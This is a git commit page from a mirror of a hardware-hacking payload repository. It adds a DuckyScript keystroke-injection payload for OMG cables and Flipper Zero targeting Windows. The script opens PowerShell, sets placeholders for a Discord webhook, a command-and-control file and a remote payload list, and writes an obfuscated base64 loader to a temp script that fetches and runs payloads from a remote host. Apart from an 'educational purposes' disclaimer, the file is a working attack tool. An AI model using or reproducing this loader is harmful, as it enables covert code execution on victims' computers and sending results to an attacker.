mirror of https://github.com/hak5/omg-payloads.git
Create Bootstrap-pLoader.txt
parent
40753fea2e
commit
1e20b9aba3
|
@ -0,0 +1,35 @@
|
|||
REM Title: BOOTSTRAP - C2 Payload Loader (pLoader) w Discord Reporting
|
||||
REM Description: Bootstrap Payload for Remote (C2) Payload Loader with Discord Reporting.
|
||||
REM This allows the payload to be executed on OMG Basic and other Smaller Devices. All
|
||||
REM inputs below are needed to start the script, unless know how to edit the Source. OMG
|
||||
REM and InfoSecREDD (REDD) are not responsible for the misuse of this Payload. This is
|
||||
REM for Educational Purposes only.
|
||||
REM IT IS ADVISED TO EDIT THE MAIN URL TO POINT TO A CUSTOM VERSION W YOUR VARIABLES
|
||||
REM AUTHOR: InfoSecREDD
|
||||
REM Version: 0.2
|
||||
REM Category: Execution (REMOTE)
|
||||
REM Compatibility: Flipper Zero AND DuckyScript Devices
|
||||
REM Target: Windows
|
||||
|
||||
REM To use on Flipper Zero REM the DUCKY_LANG US from line below
|
||||
DUCKY_LANG US
|
||||
DELAY 2000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell
|
||||
ENTER
|
||||
DELAY 2000
|
||||
REM Put your Discord webhook below.
|
||||
STRING $webhook = "DiscordWebhookHere";
|
||||
REM C2 file must be hosted at GitHub unless you can edit the file. 1 = ON and 0 = OFF
|
||||
STRING $ccontrol = "C2FileHere";
|
||||
REM Put your Remote List of Payloads below.
|
||||
STRING $URLS = "URLFileListHere";
|
||||
REM Put your Timer file below. 10-18000 Its counted in Minutes.
|
||||
STRING $timer = "TimerFileHere";
|
||||
REM OVERDRIVE - Overdrive allows the payloads to execute without prior payload finishing. 1 = ON and 0 = OFF
|
||||
STRING $overdrive = "OverdriveFileHere";
|
||||
REM Lets run this thing.
|
||||
STRING $TempFile = "$env:TEMP\temp.ps1"; $File = "$env:TEMP\l.ps1"; echo JFVSTCA9ICJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vaGFrNS9vbWctcGF5bG9hZHMvbWFzdG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